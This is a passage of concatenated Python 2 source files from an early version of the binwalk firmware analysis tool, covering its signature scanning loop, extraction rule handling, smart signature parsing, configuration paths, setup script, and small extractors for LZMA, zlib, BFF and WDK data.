bufindex > 0: # If the total_scanned > total_read, then the total_scanned offset is in a subsequent block. # Set i to bufindex, which will cause i to be greater than dlen and this block will be skipped. i = bufindex elif bufindex < 0: # If the total_scanned offset is less than total_read, then the total_scanned offset is # somewhere inside this block. Set i to index into the block appropriately. i = dlen + bufindex else: # If the total_scanned offset ends at the end of this block, don't scan any of this block i = dlen # Scan through each block of data looking for signatures while i < dlen: smart = {} results = [] results_offset = -1 pre_filter_ok = False smart_jump_done = False # Pre-filter data by checking to see if the parser thinks this might be a valid match. # This eliminates unnecessary calls into libmagic, which are very expensive. # # Ideally, this should be done in the MagicParser class, but function calls are expensive. # Doing it here greatly decreases the scan time. if self.smart.pre_filter: for (sig_offset, sigset) in signature_set: if data[i+sig_offset:i+sig_offset+self.parser.MATCH_INDEX_SIZE] in sigset: pre_filter_ok = True break else: pre_filter_ok = True if pre_filter_ok: # Pass the data to libmagic, and split out multiple results into a list for magic_result in self.parser.split(self.magic.buffer(data[i:i+self.MAX_SIGNATURE_SIZE])): # Some file names are not NULL byte terminated, but rather their length is # specified in a size field. To ensure these are not marked as invalid due to # non-printable characters existing in the file name, parse the filename(s) and # trim them to the specified filename length, if one was specified. magic_result = self.smart._parse_raw_strings(magic_result) # Make sure this is a valid result before further processing if not self.filter.invalid(magic_result): # The smart filter parser returns a dictionary of keyword values and the signature description. smart = self.smart.parse(magic_result) # Validate the jump value and check if the response description should be displayed if smart['jump'] > -1 and self._should_display(smart['description']): # If multiple results are returned and one of them has smart['jump'] set to a non-zero value, # the calculated results offset will be wrong since i will have been incremented. Only set the # results_offset value when the first match is encountered. if results_offset < 0: results_offset = offset + smart['adjust'] + self.total_scanned # Double check to make sure the smart['adjust'] value is sane. # If it makes results_offset negative, then it is not sane. if results_offset >= 0: # Extract the result, if it matches one of the extract rules and is not a delayed extract. if self.extractor.enabled and not (self.extractor.delayed and smart['delay']): # If the signature did not specify a size, extract to the end of the file. if smart['size'] == 0: smart['size'] = fsize-results_offset smart['extract'] = self.extractor.extract( results_offset, smart['description'], target_file, smart['size'], name=smart['name']) # This appears to be a valid result, so append it to the results list. results.append(smart) # Jump to the offset specified by jump. Only do this once, so that if multiple results # are returned each of which specify a jump offset, only the first will be honored. if smart['jump'] > 0 and not smart_jump_done: # Once a jump offset has been honored, we need to start scanning every byte since the # jump offset may have thrown off the original alignment. In terms of speed this is fine, # since the jump offset usually saves more time anyway. If this is not what the user # wanted/intended, disabling pre filtering will disable jump offset processing completely. align = self.DEFAULT_BYTE_ALIGNMENT smart_jump_done = True i += (smart['jump'] - align) self.total_scanned += (smart['jump'] - align) # Did we find any valid results? if results_offset >= 0: scan_results[results_offset] = results if callback is not None: callback(results_offset, results) # Track the number of bytes scanned in this block, and the total number of bytes scanned. i += align self.total_scanned += align # Sort the results before returning them scan_items = scan_results.items() scan_items.sort() # Do delayed extraction, if specified. if self.extractor.enabled and self.extractor.delayed: scan_items = self.extractor.delayed_extract(scan_items, target_file, fsize) return scan_items def _should_display(self, data): ''' Determines if a result string should be displayed to the user or not. @data - Display string. Returns True if the string should be displayed. Returns False if the string should not be displayed. ''' return (data and data is not None and not self.filter.invalid(data) and self.filter.filter(data) != self.filter.FILTER_EXCLUDE) def _read_block(self, fd): ''' Reads in a block of data from the target file. @fd - File object for the target file. Returns a tuple of (file block data, block data length). ''' dlen = 0 data = None # Read in READ_BLOCK_SIZE plus MAX_SIGNATURE_SIZE bytes, but return a max dlen value # of READ_BLOCK_SIZE. This ensures that there is a MAX_SIGNATURE_SIZE buffer at the # end of the returned data in case a signature is found at or near data[dlen]. rlen = self.READ_BLOCK_SIZE + self.MAX_SIGNATURE_SIZE if self.total_read < self.scan_length: data = fd.read(rlen) if data and data is not None: # Get the actual length of the read in data dlen = len(data) # If we've read in more data than the scan length, truncate the dlen value if (self.total_read + dlen) >= self.scan_length: dlen = self.scan_length - self.total_read # If dlen is the expected rlen size, it should be set to READ_BLOCK_SIZE elif dlen == rlen: dlen = self.READ_BLOCK_SIZE # Increment self.total_read to reflect the amount of data that has been read # for processing (actual read size is larger of course, due to the MAX_SIGNATURE_SIZE # buffer of data at the end of each block). self.total_read += dlen # Seek to the self.total_read offset so the next read can pick up where this one left off fd.seek(self.total_read) return (data, dlen)
Python
import os import sys import shlex import tempfile import subprocess from config import * from common import file_size class Extractor: ''' Extractor class, responsible for extracting files from the target file and executing external applications, if requested. An instance of this class is accessible via the Binwalk.extractor object. Example usage: import binwalk bw = binwalk.Binwalk() # Create extraction rules for scan results containing the string 'gzip compressed data' and 'filesystem'. # The former will be saved to disk with a file extension of 'gz' and the command 'gunzip <file name on disk>' will be executed (note the %e placeholder). # The latter will be saved to disk with a file extension of 'fs' and no command will be executed. # These rules will take precedence over subsequent rules with the same match string. bw.extractor.add_rule(['gzip compressed data:gz:gunzip %e', 'filesystem:fs']) # Load the extraction rules from the default extract.conf file(s). bw.extractor.load_defaults() # Run the binwalk scan. bw.scan('firmware.bin') ''' # Extract rules are delimited with a colon. # <case insensitive matching string>:<file extension>[:<command to run>] RULE_DELIM = ':' # Comments in the extract.conf files start with a pound COMMENT_DELIM ='#' # Place holder for the extracted file name in the command FILE_NAME_PLACEHOLDER = '%e' def __init__(self, verbose=False): ''' Class constructor. @verbose - Set to True to display the output from any executed external applications. Returns None. ''' self.config = Config() self.enabled = False self.delayed = False self.verbose = verbose self.extract_rules = {} self.remove_after_execute = False def add_rule(self, rule): ''' Adds a set of rules to the extraction rule list. @rule - Rule string, or list of rule strings, in the format <case insensitive matching string>:<file extension>[:<command to run>] Returns None. ''' r = { 'extension' : '', 'cmd' : '' } if type(rule) != type([]): rules = [rule] else: rules = rule for rule in rules: r['cmd'] = '' r['extension'] = '' try: values = self._parse_rule(rule) match = values[0].lower() r['extension'] = values[1] r['cmd'] = values[2] except: pass # Verify that the match string and file extension were retrieved. # Only add the rule if it is a new one (first come, first served). if match and r['extension'] and not self.extract_rules.has_key(match): self.extract_rules[match] = {} self.extract_rules[match]['cmd'] = r['cmd'] self.extract_rules[match]['extension'] = r['extension'] # Once any rule is added, set self.enabled to True self.enabled = True def enable_delayed_extract(self, tf=None): ''' Enables / disables the delayed extraction feature. This feature ensures that certian supported file types will not contain extra data at the end of the file when they are extracted, but also means that these files will not be extracted until the end of the scan. @tf - Set to True to enable, False to disable. Returns the current delayed extraction setting. ''' if tf is not None: self.delayed = tf return self.delayed def load_from_file(self, fname): ''' Loads extraction rules from the specified file. @fname - Path to the extraction rule file. Returns None. ''' try: # Process each line from the extract file, ignoring comments for rule in open(fname).readlines(): self.add_rule(rule.split(self.COMMENT_DELIM, 1)[0]) except Exception, e: raise Exception("Extractor.load_from_file failed to load file '%s': %s" % (fname, str(e))) def load_defaults(self): ''' Loads default extraction rules from the user and system extract.conf files. Returns None. ''' # Load the user extract file first to ensure its rules take precedence. extract_files = [ self.config.paths['user'][self.config.EXTRACT_FILE], self.config.paths['system'][self.config.EXTRACT_FILE], ] for extract_file in extract_files: try: self.load_from_file(extract_file) except Exception, e: if self.verbose: raise Exception("Extractor.load_defaults failed to load file '%s': %s" % (extract_file, str(e))) def cleanup_extracted_files(self, tf=None): ''' Set the action to take after a file is extracted. @tf - If set to True, extracted files will be cleaned up after running a command against them. If set to False, extracted files will not be cleaned up after running a command against them. If set to None or not specified, the current setting will not be changed. Returns the current cleanup status (True/False). ''' if tf is not None: self.remove_after_execute = tf return self.remove_after_execute def extract(self, offset, description, file_name, size, name=None): ''' Extract an embedded file from the target file, if it matches an extract rule. Called automatically by Binwalk.scan(). @offset - Offset inside the target file to begin the extraction. @description - Description of the embedded file to extract, as returned by libmagic. @file_name - Path to the target file. @size - Number of bytes to extract. @name - Name to save the file as. Returns the name of the extracted file (blank string if nothing was extracted). ''' cleanup_extracted_fname = True rule = self._match(description) if rule is not None: fname = self._dd(file_name, offset, size, rule['extension'], output_file_name=name) if rule['cmd']: # Many extraction utilities will extract the file to a new file, just without # the file extension (i.e., myfile.7z => myfile). If the presumed resulting # file name already exists before executing the extract command, do not attempt # to clean it up even if its resulting file size is 0. if self.remove_after_execute: extracted_fname = os.path.splitext(fname)[0] if os.path.exists(extracted_fname): cleanup_extracted_fname = False # Execute the specified command against the extracted file self._execute(rule['cmd'], fname) # Only clean up files if remove_after_execute was specified if self.remove_after_execute: # Remove the original file that we extracted try: os.unlink(fname) except: pass # If the command worked, assume it removed the file extension from the extracted file # If the extracted file name file exists and is empty, remove it if cleanup_extracted_fname and os.path.exists(extracted_fname) and file_size(extracted_fname) == 0: try: os.unlink(extracted_fname) except: pass else: fname = '' return fname def delayed_extract(self, results, file_name, size): ''' Performs a delayed extraction (see self.enable_delayed_extract). Called internally by Binwalk.Scan(). @results - A list of dictionaries of all the scan results. @file_name - The path to the scanned file. @size - The size of the scanned file. Returns an updated results list containing the names of the newly extracted files. ''' index = 0 info_count = 0 nresults = results for (offset, infos) in results: info_count = 0 for info in infos: ninfos = infos if info['delay']: end_offset = self._entry_offset(index, results, info['delay']) if end_offset == -1: extract_size = size else: extract_size = (end_offset - offset) ninfos[info_count]['extract'] = self.extract(offset, info['description'], file_name, extract_size, info['name']) nresults[index] = (offset, ninfos) info_count += 1 index += 1 return nresults def _entry_offset(self, index, entries, description): ''' Gets the offset of the first entry that matches the description. @index - Index into the entries list to begin searching. @entries - Dictionary of result entries. @description - Case insensitive description. Returns the offset, if a matching description is found. Returns -1 if a matching description is not found. ''' description = description.lower() for (offset, infos) in entries[index:]: for info in infos: if info['description'].lower().startswith(description): return offset return -1 def _match(self, description): ''' Check to see if the provided description string matches an extract rule. Called internally by self.extract(). @description - Description string to check. Returns the associated rule dictionary if a match is found. Returns None if no match is found. ''' description = description.lower() for (m, rule) in self.extract_rules.iteritems(): if m in description: return rule return None def _parse_rule(self, rule): ''' Parses an extraction rule. @rule - Rule string. Returns an array of ['<case insensitive matching string>', '<file extension>', '<command to run>']. ''' return rule.strip().split(self.RULE_DELIM, 2) def _dd(self, file_name, offset, size, extension, output_file_name=None): ''' Extracts a file embedded inside the target file. @file_name - Path to the target file. @offset - Offset inside the target file where the embedded file begins. @size - Number of bytes to extract. @extension - The file exension to assign to the extracted file on disk. @output_file_name - The requested name of the output file. Returns the extracted file name. ''' # Default extracted file name is <hex offset>.<extension> altname = "%X.%s" % (offset, extension) if not output_file_name or output_file_name is None: fname = altname else: fname = "%s.%s" % (output_file_name, extension) # Sanitize output file name of invalid/dangerous characters (like file paths) fname = os.path.basename(fname) try: # Open the target file and seek to the offset fdin = open(file_name, "rb") fdin.seek(offset) # Open the extracted file try: fdout = open(fname, "wb") except: # Fall back to the alternate name if the requested name fails fname = altname fdout = open(fname, "wb") # Read size bytes from target file and write it to the extracted file fdout.write(fdin.read(size)) # Cleanup fdout.close() fdin.close() except Exception, e: raise Exception("Extractor.dd failed to extract data from '%s' to '%s': %s" % (file_name, fname, str(e))) return fname def _execute(self, cmd, fname): ''' Execute a command against the specified file. @cmd - Command to execute. @fname - File to run command against. Returns None. ''' tmp = None # If not in verbose mode, create a temporary file to redirect stdout and stderr to if not self.verbose: tmp = tempfile.TemporaryFile() try: # Replace all instances of FILE_NAME_PLACEHOLDER in the command with fname cmd = cmd.replace(self.FILE_NAME_PLACEHOLDER, fname) # Execute. subprocess.call(shlex.split(cmd), stdout=tmp, stderr=tmp) except Exception, e: sys.stderr.write("WARNING: Extractor.execute failed to run '%s': %s\n" % (cmd, str(e))) if tmp is not None: tmp.close()
Python
# Common functions. import os import re def file_size(filename): ''' Obtains the size of a given file. @filename - Path to the file. Returns the size of the file. ''' # Using open/lseek works on both regular files and block devices fd = os.open(filename, os.O_RDONLY) try: return os.lseek(fd, 0, os.SEEK_END) except Exception, e: raise Exception("file_size failed to obtain the size of '%s': %s" % (filename, str(e))) finally: os.close(fd) def str2int(string): ''' Attempts to convert string to a base 10 integer; if that fails, then base 16. @string - String to convert to an integer. Returns the integer value on success. Throws an exception if the string cannot be converted into either a base 10 or base 16 integer value. ''' try: return int(string) except: return int(string, 16) def strip_quoted_strings(string): ''' Strips out data in between double quotes. @string - String to strip. Returns a sanitized string. ''' # This regex removes all quoted data from string. # Note that this removes everything in between the first and last double quote. # This is intentional, as printed (and quoted) strings from a target file may contain # double quotes, and this function should ignore those. However, it also means that any # data between two quoted strings (ex: '"quote 1" you won't see me "quote 2"') will also be stripped. return re.sub(r'\"(.*)\"', "", string) def get_quoted_strings(string): ''' Returns a string comprised of all data in between double quotes. @string - String to get quoted data from. Returns a string of quoted data on success. Returns a blank string if no quoted data is present. ''' try: # This regex grabs all quoted data from string. # Note that this gets everything in between the first and last double quote. # This is intentional, as printed (and quoted) strings from a target file may contain # double quotes, and this function should ignore those. However, it also means that any # data between two quoted strings (ex: '"quote 1" non-quoted data "quote 2"') will also be included. return re.findall(r'\"(.*)\"', string)[0] except: return ''
Python
import re from common import str2int, get_quoted_strings class SmartSignature: ''' Class for parsing smart signature tags in libmagic result strings. This class is intended for internal use only, but a list of supported 'smart keywords' that may be used in magic files is available via the SmartSignature.KEYWORDS dictionary: from binwalk import SmartSignature for (i, keyword) in SmartSignature().KEYWORDS.iteritems(): print keyword ''' KEYWORD_DELIM_START = "{" KEYWORD_DELIM_END = "}" KEYWORDS = { 'jump' : '%sjump-to-offset:' % KEYWORD_DELIM_START, 'filename' : '%sfile-name:' % KEYWORD_DELIM_START, 'filesize' : '%sfile-size:' % KEYWORD_DELIM_START, 'raw-string' : '%sraw-string:' % KEYWORD_DELIM_START, # This one is special and must come last in a signature block 'raw-size' : '%sraw-string-length:' % KEYWORD_DELIM_START, 'adjust' : '%soffset-adjust:' % KEYWORD_DELIM_START, 'delay' : '%sextract-delay:' % KEYWORD_DELIM_START, 'raw-replace' : '%sraw-replace%s' % (KEYWORD_DELIM_START, KEYWORD_DELIM_END), 'one-of-many' : '%sone-of-many%s' % (KEYWORD_DELIM_START, KEYWORD_DELIM_END), 'include' : '%sfilter-include%s' % (KEYWORD_DELIM_START, KEYWORD_DELIM_END), 'exclude' : '%sfilter-exclude%s' % (KEYWORD_DELIM_START, KEYWORD_DELIM_END), } def __init__(self, filter, pre_filter_signatures=True): ''' Class constructor. @filter - Instance of the MagicFilter class. @pre_filter_signatures - Set to False to disable the pre-filtering of magic signatures. Returns None. ''' self.filter = filter self.last_one_of_many = None self.pre_filter_signatures = pre_filter_signatures def parse(self, data): ''' Parse a given data string for smart signature keywords. If any are found, interpret them and strip them. @data - String to parse, as returned by libmagic. Returns a dictionary of parsed values. ''' results = { 'description' : '', # The libmagic data string, stripped of all keywords 'name' : '', # The original name of the file, if known 'delay' : '', # Extract delay description 'extract' : '', # Name of the extracted file, filled in by Binwalk.Scan. 'jump' : 0, # The relative offset to resume the scan from 'size' : 0, # The size of the file, if known 'adjust' : 0, # The relative offset to add to the reported offset } # If pre-filtering is disabled, or the result data is not valid (i.e., potentially malicious), # don't parse anything, just return the raw data as the description. if not self.pre_filter_signatures or not self._is_valid(data): results['description'] = data else: # Parse the offset-adjust value. This is used to adjust the reported offset at which # a signature was located due to the fact that MagicParser.match expects all signatures # to be located at offset 0, which some wil not be. results['adjust'] = self._get_math_arg(data, 'adjust') # Parse the file-size value. This is used to determine how many bytes should be extracted # when extraction is enabled. If not specified, everything to the end of the file will be # extracted (see Binwalk.scan). try: results['size'] = str2int(self._get_keyword_arg(data, 'filesize')) except: pass results['delay'] = self._get_keyword_arg(data, 'delay') # Parse the string for the jump-to-offset keyword. # This keyword is honored, even if this string result is one of many. results['jump'] = self._get_math_arg(data, 'jump') # If this is one of many, don't do anything and leave description as a blank string. # Else, strip all keyword tags from the string and process additional keywords as necessary. if not self._one_of_many(data): results['name'] = self._get_keyword_arg(data, 'filename').strip('"') results['description'] = self._strip_tags(data) return results def _is_valid(self, data): ''' Validates that result data does not contain smart keywords in file-supplied strings. @data - Data string to validate. Returns True if data is OK. Returns False if data is not OK. ''' # All strings printed from the target file should be placed in strings, else there is # no way to distinguish between intended keywords and unintended keywords. Get all the # quoted strings. quoted_data = get_quoted_strings(data) # Check to see if there was any quoted data, and if so, if it contained the keyword starting delimiter if quoted_data and self.KEYWORD_DELIM_START in quoted_data: # If so, check to see if the quoted data contains any of our keywords. # If any keywords are found inside of quoted data, consider the keywords invalid. for (name, keyword) in self.KEYWORDS.iteritems(): if keyword in quoted_data: return False return True def _one_of_many(self, data): ''' Determines if a given data string is one result of many. @data - String result data. Returns True if the string result is one of many. Returns False if the string result is not one of many. ''' if not self.filter.invalid(data): if self.last_one_of_many is not None and data.startswith(self.last_one_of_many): return True if self.KEYWORDS['one-of-many'] in data: # Only match on the data before the first comma, as that is typically unique and static self.last_one_of_many = data.split(',')[0] else: self.last_one_of_many = None return False def _get_keyword_arg(self, data, keyword): ''' Retrieves the argument for keywords that specify arguments. @data - String result data, as returned by libmagic. @keyword - Keyword index in KEYWORDS. Returns the argument string value on success. Returns a blank string on failure. ''' arg = '' if self.KEYWORDS.has_key(keyword) and self.KEYWORDS[keyword] in data: arg = data.split(self.KEYWORDS[keyword])[1].split(self.KEYWORD_DELIM_END)[0] return arg def _get_math_arg(self, data, keyword): ''' Retrieves the argument for keywords that specifiy mathematical expressions as arguments. @data - String result data, as returned by libmagic. @keyword - Keyword index in KEYWORDS. Returns the resulting calculated value. ''' value = 0 arg = self._get_keyword_arg(data, keyword) if arg: for string_int in arg.split('+'): try: value += str2int(string_int) except: pass return value def _jump(self, data): ''' Obtains the jump-to-offset value of a signature, if any. @data - String result data. Returns the offset to jump to. ''' offset = 0 offset_str = self._get_keyword_arg(data, 'jump') if offset_str: try: offset = str2int(offset_str) except: pass return offset def _parse_raw_strings(self, data): ''' Process strings that aren't NULL byte terminated, but for which we know the string length. This should be called prior to any other smart parsing functions. @data - String to parse. Returns a parsed string. ''' if self.pre_filter_signatures and self._is_valid(data): # Get the raw string keyword arg raw_string = self._get_keyword_arg(data, 'raw-string') # Was a raw string keyword specified? if raw_string: # Get the raw string length arg raw_size = self._get_keyword_arg(data, 'raw-size') # Is the raw string length arg is a numeric value? if re.match('^-?[0-9]+$', raw_size): # Replace all instances of raw-replace in data with raw_string[:raw_size] # Also strip out everything after the raw-string keyword, including the keyword itself. # Failure to do so may (will) result in non-printable characters and this string will be # marked as invalid when it shouldn't be. data = data[:data.find(self.KEYWORDS['raw-string'])].replace(self.KEYWORDS['raw-replace'], '"' + raw_string[:str2int(raw_size)] + '"') return data def include(self, data): ''' Determines if a result should be included or excluded. @data - String result data. Returns True if the include smart tag is present. Returns False if the exclude smart tag is present. Returns None if neither smart tags are present. ''' # Validate keywords before checking for the include/exclude keywords. if self.pre_filter_signatures and self._is_valid(data): if self.KEYWORDS['exclude'] in data: return False elif self.KEYWORDS['include'] in data: return True return None def _strip_tags(self, data): ''' Strips the smart tags from a result string. @data - String result data. Returns a sanitized string. ''' if self.pre_filter_signatures: for (name, keyword) in self.KEYWORDS.iteritems(): start = data.find(keyword) if start != -1: end = data[start:].find(self.KEYWORD_DELIM_END) if end != -1: data = data.replace(data[start:start+end+1], "") return data
Python
import os class Config: ''' Binwalk configuration class, used for accessing user and system file paths. After instatiating the class, file paths can be accessed via the self.paths dictionary. System file paths are listed under the 'system' key, user file paths under the 'user' key. For example, to get the path to both the user and system binwalk magic files: from binwalk import Config conf = Config() user_binwalk_file = conf.paths['user'][conf.BINWALK_MAGIC_FILE] system_binwalk_file = conf.paths['system'][conf.BINWALK_MAGIC_FILE] There is also an instance of this class available via the Binwalk.config object: import binwalk bw = binwalk.Binwalk() user_binwalk_file = bw.config.paths['user'][conf.BINWALK_MAGIC_FILE] system_binwalk_file = bw.config.paths['system'][conf.BINWALK_MAGIC_FILE] Valid file names under both the 'user' and 'system' keys are as follows: o BINWALK_MAGIC_FILE - Path to the default binwalk magic file. o BINCAST_MAGIC_FILE - Path to the bincast magic file (used when -C is specified with the command line binwalk script) o BINARCH_MAGIC_FILE - Path to the binarch magic file (used when -A is specified with the command line binwalk script) o EXTRACT_FILE - Path to the extract configuration file (used when -e is specified with the command line binwalk script) ''' # Release version VERSION = "1.0" # Sub directories BINWALK_USER_DIR = ".binwalk" BINWALK_MAGIC_DIR = "magic" BINWALK_CONFIG_DIR = "config" # File names EXTRACT_FILE = "extract.conf" BINWALK_MAGIC_FILE = "binwalk" BINCAST_MAGIC_FILE = "bincast" BINARCH_MAGIC_FILE = "binarch" def __init__(self): ''' Class constructor. Enumerates file paths and populates self.paths. ''' # Path to the user binwalk directory self.user_dir = self._get_user_dir() # Path to the system wide binwalk directory self.system_dir = self._get_system_dir() # Dictionary of all absolute user/system file paths self.paths = { 'user' : {}, 'system' : {}, } # Build the paths to all user-specific files self.paths['user'][self.BINWALK_MAGIC_FILE] = self._user_file(self.BINWALK_MAGIC_DIR, self.BINWALK_MAGIC_FILE) self.paths['user'][self.BINCAST_MAGIC_FILE] = self._user_file(self.BINWALK_MAGIC_DIR, self.BINCAST_MAGIC_FILE) self.paths['user'][self.BINARCH_MAGIC_FILE] = self._user_file(self.BINWALK_MAGIC_DIR, self.BINARCH_MAGIC_FILE) self.paths['user'][self.EXTRACT_FILE] = self._user_file(self.BINWALK_CONFIG_DIR, self.EXTRACT_FILE) # Build the paths to all system-wide files self.paths['system'][self.BINWALK_MAGIC_FILE] = self._system_file(self.BINWALK_MAGIC_DIR, self.BINWALK_MAGIC_FILE) self.paths['system'][self.BINCAST_MAGIC_FILE] = self._system_file(self.BINWALK_MAGIC_DIR, self.BINCAST_MAGIC_FILE) self.paths['system'][self.BINARCH_MAGIC_FILE] = self._system_file(self.BINWALK_MAGIC_DIR, self.BINARCH_MAGIC_FILE) self.paths['system'][self.EXTRACT_FILE] = self._system_file(self.BINWALK_CONFIG_DIR, self.EXTRACT_FILE) def _get_system_dir(self): ''' Find the directory where the binwalk module is installed on the system. ''' try: root = __file__ if os.path.islink(root): root = os.path.realpath(root) return os.path.dirname(os.path.abspath(root)) except: return '' def _get_user_dir(self): ''' Get the user's home directory. ''' try: # This should work in both Windows and Unix environments return os.getenv('USERPROFILE') or os.getenv('HOME') except: return '' def _file_path(self, dirname, filename): ''' Builds an absolute path and creates the directory and file if they don't already exist. @dirname - Directory path. @filename - File name. Returns a full path of 'dirname/filename'. ''' if not os.path.exists(dirname): try: os.makedirs(dirname) except: pass fpath = os.path.join(dirname, filename) if not os.path.exists(fpath): try: open(fpath, "w").close() except: pass return fpath def _user_file(self, subdir, basename): ''' Gets the full path to the 'subdir/basename' file in the user binwalk directory. @subdir - Subdirectory inside the user binwalk directory. @basename - File name inside the subdirectory. Returns the full path to the 'subdir/basename' file. ''' return self._file_path(os.path.join(self.user_dir, self.BINWALK_USER_DIR, subdir), basename) def _system_file(self, subdir, basename): ''' Gets the full path to the 'subdir/basename' file in the system binwalk directory. @subdir - Subdirectory inside the system binwalk directory. @basename - File name inside the subdirectory. Returns the full path to the 'subdir/basename' file. ''' return self._file_path(os.path.join(self.system_dir, subdir), basename)
Python
#!/usr/bin/env python from os import listdir, path from distutils.core import setup # Generate a new magic file from the files in the magic directory print "generating binwalk magic file" magic_files = listdir("magic") magic_files.sort() fd = open("binwalk/magic/binwalk", "wb") for magic in magic_files: fpath = path.join("magic", magic) if path.isfile(fpath): fd.write(open(fpath).read()) fd.close() # The data files to install along with the binwalk module install_data_files = ["magic/*", "config/*"] # Install the binwalk module, script and support files setup( name = "binwalk", version = "1.0", description = "Firmware analysis tool", author = "Craig Heffner", url = "http://binwalk.googlecode.com", packages = ["binwalk"], package_data = {"binwalk" : install_data_files}, scripts = ["bin/binwalk"], )
Python
#!/usr/bin/env python # Generates LZMA signatures for each valid LZMA property in the properties list. properties = [ 0x5D, 0x01, 0x02, 0x03, 0x04, 0x09, 0x0A, 0x0B, 0x0C, 0x12, 0x13, 0x14, 0x1B, 0x1C, 0x24, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x36, 0x37, 0x38, 0x39, 0x3F, 0x40, 0x41, 0x48, 0x49, 0x51, 0x5A, 0x5B, 0x5C, 0x5E, 0x63, 0x64, 0x65, 0x66, 0x6C, 0x6D, 0x6E, 0x75, 0x76, 0x7E, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x90, 0x91, 0x92, 0x93, 0x99, 0x9A, 0x9B, 0xA2, 0xA3, 0xAB, 0xB4, 0xB5, 0xB6, 0xB7, 0xB8, 0xBD, 0xBE, 0xBF, 0xC0, 0xC6, 0xC7, 0xC8, 0xCF, 0xD0, 0xD8, ] common_properties = [0x5D, 0x6D] dictionary_sizes = [ 65536, 131072, 262144, 524288, 1048576, 2097152, 4194304, 8388608, 16777216, 33554432, ] for fbyte in properties: # if fbyte not in common_properties: # fexclude = '{filter-exclude}' # else: # fexclude = '' fexclude = '' sig = '\n# ------------------------------------------------------------------\n' sig += '# Signature for LZMA compressed data with valid properties byte 0x%.2X\n' % fbyte sig += '# ------------------------------------------------------------------\n' sig += '0\t\tstring\t\\x%.2X\\x00\\x00\tLZMA compressed data, properties: 0x%.2X,%s\n' % (fbyte, fbyte, fexclude) sig += '\n# These are all the valid dictionary sizes supported by LZMA utils.\n' for i in range(0, len(dictionary_sizes)): if i < 6: indent = '\t\t' else: indent = '\t' if i == len(dictionary_sizes)-1: invalid = 'invalid' else: invalid = '' sig += '%s1%slelong\t!%d\t%s\n' % ('>'*(i+1), indent, dictionary_sizes[i], invalid) sig += '>1\t\tlelong\tx\t\tdictionary size: %d bytes,\n' sig += '\n# Assume that a valid size will be less than 1GB. This could technically be valid, but is unlikely.\n' sig += '>5\t\tlequad\t<1\t\tinvalid\n' sig += '>5\t\tlequad\t>0x40000000\tinvalid\n' sig += '\n# These are not 100%. The uncompressed size could be exactly the same as the dicionary size, but it is unlikely.\n' sig += '# Since most false positives are the result of repeating sequences of bytes (such as executable instructions),\n' sig += '# marking matches with the same uncompressed and dictionary sizes as invalid eliminates much of these false positives.\n' for dsize in dictionary_sizes: if dsize < 16777216: indent = '\t\t' else: indent = '\t' sig += '>1\t\tlelong\t%d\n' % dsize sig += '>>5\t\tlequad\t%d%sinvalid\n' % (dsize, indent) sig += '>5\t\tlequad\tx\t\tuncompressed size: %lld bytes\n' print sig
Python
#!/usr/bin/env python # A hacky extraction utility for extracting the contents of BFF volume entries. # It can't parse a BFF file itself, but expects the BFF volume entry to already # be extracted to a file; it then extracts the original file from the volume entry # file. Thus, it is best used with binwalk. import os import sys import struct import subprocess ## {{{ http://code.activestate.com/recipes/82465/ (r4) def _mkdir(newdir): """works the way a good mkdir should :) - already exists, silently complete - regular file in the way, raise an exception - parent directory(ies) does not exist, make them as well """ if os.path.isdir(newdir): pass elif os.path.isfile(newdir): raise OSError("a file with the same name as the desired " \ "dir, '%s', already exists." % newdir) else: head, tail = os.path.split(newdir) if head and not os.path.isdir(head): _mkdir(head) #print "_mkdir %s" % repr(newdir) if tail: os.mkdir(newdir) ## end of http://code.activestate.com/recipes/82465/ }}} HUFFMAN_MAGIC = 0xEA6C MAGICS = [0xEA6B, HUFFMAN_MAGIC, 0xEA6D] HEADER_SIZE = 64 POST_HEADER_SIZE = 40 script_path = os.path.dirname(os.path.realpath(__file__)) try: fd = open(sys.argv[1], 'rb') except: print "Usage: %s <BFF volume entry file>" % sys.argv[0] sys.exit(1) header = fd.read(HEADER_SIZE) magic = struct.unpack("<H", header[2:4])[0] file_size = struct.unpack("<L", header[56:60])[0] if magic not in MAGICS: print "Unrecognized magic bytes! Quitting." sys.exit(1) filename = '' while True: byte = fd.read(1) if not byte or byte == '\x00': break else: filename += byte filename_len = len(filename) offset = HEADER_SIZE + POST_HEADER_SIZE + filename_len + (8 - (filename_len % 8)) if '..' in filename: print "Dangerous file path '%s'! Quitting." % filename sys.exit(1) print "Extracting '%s'" % filename _mkdir('./' + os.path.dirname(filename)) if file_size: fd.seek(offset) file_data = fd.read(file_size) fd.close() if len(file_data) != file_size: print "Warning: EOF encountered before the expected file size was reached!" if magic == HUFFMAN_MAGIC: fpout = open(filename + '.packed', 'wb') else: fpout = open(filename, 'wb') fpout.write(file_data) fpout.close() if magic == HUFFMAN_MAGIC: try: # Many thanks to Philipp for patching the huffman decoder to work! subprocess.call([script_path + "/bff_huffman_decompress", filename + '.packed', filename]) os.remove(filename + '.packed') except: pass else: _mkdir('./' + filename)
Python
#!/usr/bin/env python import os import sys import zlib try: zlib_file = sys.argv[1] except: print "Usage: %s <zlib compressed file>" % sys.argv[0] sys.exit(1) plaintext_file = os.path.splitext(zlib_file)[0] try: plaintext = zlib.decompress(open(zlib_file, 'rb').read()) open(plaintext_file, 'wb').write(plaintext) except Exception, e: print "Failed to decompress data:", str(e) sys.exit(1)
Python
#!/usr/bin/env python # Utility for extracting WDK "filesystems", such as those found in the DIR-100. import os import sys import struct import shutil import subprocess # Default to big endian ENDIANESS = "big" # Unpack size bytes of data starting at offset def unpack(data, offset, size): sizes = { 2 : "H", 4 : "L", } if ENDIANESS == "big": fmt = ">" + sizes[size] else: fmt = "<" + sizes[size] return struct.unpack(fmt, data[offset:offset+size])[0] # Get the next file entry in the WDK header table def get_entry(data): file_name = "" file_size = unpack(data, 2, 2) i = 4 while data[i] != "\x00": file_name += data[i] i += 1 return (file_size, file_name) def extract(fs_image_file): fs_img = open(fs_image_file, 'rb').read() if len(fs_img) < 32: print "WDK image too small!" sys.exit(1) entries = {} order = [] # This offset appears to be a fixed value entry_offset = 0x1A data_offset = unpack(fs_img, 16, 2) # The offset of the version string appears to be fixed as well fs_version = fs_img[18:25] if fs_version != 'WDK 2.0': print "Unknown WDK image:", fs_version sys.exit(1) else: os.mkdir("wdk-root") os.chdir("wdk-root") # Process all the file entries in the header while entry_offset < data_offset: (file_size, file_name) = get_entry(fs_img[entry_offset:]) entries[file_name] = file_size order.append(file_name) entry_offset += 4 + len(file_name) + 1 # File entries 